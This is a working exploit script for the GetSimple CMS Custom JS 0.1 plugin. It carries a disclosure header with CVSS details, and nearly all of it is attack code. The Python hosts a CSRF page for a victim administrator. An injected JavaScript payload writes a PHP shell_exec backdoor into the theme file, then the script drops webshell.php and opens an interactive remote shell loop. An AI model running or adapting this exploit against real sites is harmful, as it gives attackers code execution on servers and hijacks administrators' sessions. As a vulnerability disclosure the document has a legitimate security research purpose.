GetSimple CMS Custom JS 0.1 – Cross-Site Request Forgery

# Exploit Title: GetSimple CMS Custom JS 0.1 - CSRF to XSS to RCE

# Exploit Author: Bobby Cooke (boku) & Abhishek Joshi

# Date: 30/04/201

# Vendor Homepage: http://get-simple.info

# Software Link: http://get-simple.info/download/ & http://get-simple.info/extend/plugin/custom-js/1267/

# Vendor: 4Enzo

# Version: v0.1

# Tested against Server Host: Windows 10 Pro + XAMPP

# Tested against Client Browsers: Firefox (Linux & Windows) & Internet Explorer

# Vulnerability Description:

# The Custom JS v0.1 plugin for GetSimple CMS suffers from a Cross-Site Request Forgery (CSRF) attack that allows remote unauthenticated attackers to inject arbitrary client-side code into authenticated administrators browsers, which results in Remote Code Execution (RCE) on the hosting server, when an authenticated administrator visits a malicious third party website.

# Full Disclosure & MITRE CVE Tracking: github.com/boku7/gsCMS-CustomJS-Csrf2Xss2Rce

# CVSS v3.1 Vector: AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

# CVSS Base Score: 9.6

import argparse,requests

from http.server import BaseHTTPRequestHandler, HTTPServer

from colorama import (Fore as F, Back as B, Style as S)

from threading import Thread

from time import sleep

FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT

def bullet(char,color):

C=FB if color == 'B' else FR if color == 'R' else FG

return SB+C+'['+ST+SB+char+SB+C+']'+ST+' '

info,err,ok = bullet('-','B'),bullet('-','R'),bullet('!','G')

class theTHREADER(object):

def __init__(self, interval=1):

self.interval = interval

thread = Thread(target=self.run, args=())

thread.daemon = True

thread.start()

def run(self):

run()

def webshell(target):

try:

websh = "{}/webshell.php".format(target,page)

term = "{}{}PWNSHELL{} > {}".format(SB,FR,FB,ST)

welcome = ' {}{}]{}+++{}[{}========>{} HelloFriend {}<========{}]{}+++{}[{}'.format(SB,FY,FR,FY,FT,FR,FT,FY,FR,FY,ST)

print(welcome)

while True:

specialmove = input(term)

command = {'FierceGodKick': specialmove}

r = requests.post(websh, data=command, verify=False)

status = r.status_code

if status != 200:

r.raise_for_status()

response = r.text

print(response)

except:

pass

def xhrRcePayload():

payload = 'var e=function(i){return encodeURIComponent(i);};'

payload += 'var gt = decodeURIComponent("%3c");'

payload += 'var lt = decodeURIComponent("%3e");'

payload += 'var h="application/x-www-form-urlencoded";'

payload += 'var u="/admin/theme-edit.php";'

payload += 'var xhr1=new XMLHttpRequest();'

payload += 'var xhr2=new XMLHttpRequest();'

payload += 'xhr1.onreadystatechange=function(){'

payload += 'if(xhr1.readyState==4 && xhr1.status==200){'

payload += 'r=this.responseXML;'

payload += 'nVal=r.querySelector("#nonce").value;'

payload += 'eVal=r.forms[1][2].defaultValue;'

payload += 'xhr2.open("POST",u,true);'

payload += 'xhr2.setRequestHeader("Content-Type",h);'

payload += 'payload=e(gt+"?php echo shell_exec($_REQUEST[solarflare]) ?"+lt);'

payload += 'params="nonce="+nVal+"&content="+payload+"&edited_file="+eVal+"&submitsave=Save+Changes";'

payload += 'xhr2.send(params);'

payload += '}};'

payload += 'xhr1.open("GET",u,true);'

payload += 'xhr1.responseType="document";'

payload += 'xhr1.send();'

return payload

def csrfPayload():

payload = '<html><body>'

payload += '<form action="'+target+'/admin/load.php?id=CustomJSPlugin" method="POST">'

payload += '<input type="hidden" name="customjs_url_content" value="">'

payload += '<input type="hidden" name="customjs_js_content" value="'+xhrRcePayload()+'">'

payload += '<input type="hidden" name="submit" value="Save Settings">'

payload += '<input type="submit" value="Submit request">'

payload += '</form></body></html>'

return payload

class S(BaseHTTPRequestHandler):

def do_GET(self):

victim = self.client_address

victim = "{}:{}".format(victim[0],victim[1])

print("{}{} connected to Malicious CSRF Site!".format(ok,victim))

print('{}Waiting for admin to view a CMS webpage & trigger the XSS XHR -> RCE payload..'.format(info))

self.wfile.write("{}".format(csrfPayload()).encode('utf-8'))

def run(server_class=HTTPServer, handler_class=S, port=80):

server_address = ('', port)

httpd = server_class(server_address, handler_class)

print('{}Hosting CSRF attack & listening for admin to connect..'.format(info))

try:

httpd.serve_forever()

except KeyboardInterrupt:

pass

httpd.server_close()

print('Stopping httpd...')

def tryUploadWebshell(target,page):

try:

blind = target+page

# The ^ symbols are required to escape the <> symbols to create the non-blind webshell (^ is an escape for window cmd prompt)

webshUpload = {'solarflare': "echo ^<?php echo shell_exec($_REQUEST['FierceGodKick']) ?^>>webshell.php"}

requests.post(url=blind, data=webshUpload, verify=False)

except:

pass

def checkWebshell(target):

try:

websh = "{}/webshell.php".format(target)

capsule = {'FierceGodKick':'pwnt?'}

resp = requests.post(url=websh, data=capsule, verify=False)

return resp.status_code

except:

pass

def sig():

SIG = SB+FY+" .-----.._ ,--. "+FB+" ___ "+FY+" ___ _____ _____ _ _ _____ \n"

SIG += FY+" | .. > ___ | | .--. "+FB+" / \\ "+FY+" |_ | _ / ___| | | |_ _| \n"

SIG += FY+" | |.' ,'-'"+FR+"* *"+FY+"'-. |/ /__ __ "+FB+" \\ O / "+FY+" | | | | \\ `--.| |_| | | | \n"

SIG += FY+" | </ "+FR+"* * *"+FY+" \ / \\/ \\ "+FB+" / _ \\/\\ "+FY+" | | | | |`--. \\ _ | | | \n"

SIG += FY+" | |> ) "+FR+" * *"+FY+" / \\ \\"+FB+" ( (_> < "+FY+"/\\__/ | \\_/ /\\__/ / | | |_| |_ \n"

SIG += FY+" |____..- '-.._..-'_|\\___|._..\\___\\ "+FB+"\\___/\\/"+FY+" \\____/ \\___/\\____/\\_| |_/\\___/\n"

SIG += FY+" __"+FR+"linkedin.com/in/bobby-cooke/"+FY+"_____ "+" __"+FR+"linkedin.com/in/reverse-shell/"+FY+"\n"+ST

return SIG

def argsetup():

about = SB+FB+' The Custom JS v0.1 plugin for GetSimple CMS suffers from a Cross-Site Request Forgery (CSRF) attack that allows remote unauthenticated attackers to inject arbitrary client-side code into authenticated administrators browsers, which results in Remote Code Execution (RCE) on the hosting server, when an authenticated administrator visits a malicious third party website.\n'+ST

about += SB+FC+' CVSS Base Score'+FT+':'+FR+' 9.6 '+FT+'|'+FC+' CVSS v3.1 Vector'+FT+':'+FR+' AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H'+FC

parser = argparse.ArgumentParser(description=about, formatter_class=argparse.RawTextHelpFormatter)

desc1 = ST+FC+'Routable domain name of the target GetSimple CMS instance'+SB

parser.add_argument('Target',type=str,help=desc1)

desc2 = ST+FC+'Path to the public page which implements the CMS theme'+ST

parser.add_argument('PublicPage',type=str,help=desc2)

args = parser.parse_args()

return args

if __name__ == '__main__':

header = SB+FR+' GetSimple CMS - Custom JS Plugin Exploit\n'

header += SB+FB+' CSRF '+FT+'->'+FB+' Stored XSS '+FT+'->'+FB+' XHR PHP Code Injection '+FT+'->'+FB+' RCE\n'+ST

header += SB+FT+' '+FR+' Bobby '+FR+'"'+FR+'boku'+FR+'"'+FR+' Cooke & Abhishek Joshi\n'+ST

print(header)

args = argsetup()

target = args.Target

page = args.PublicPage

print(sig())

theTHREADER()

pwnt = checkWebshell(target)

if pwnt != 200:

while pwnt != 200:

sleep(3)

tryUploadWebshell(target,page)

sleep(2)

pwnt = checkWebshell(target)

print("{} A wild webshell appears!".format(ok))

webshell(target)

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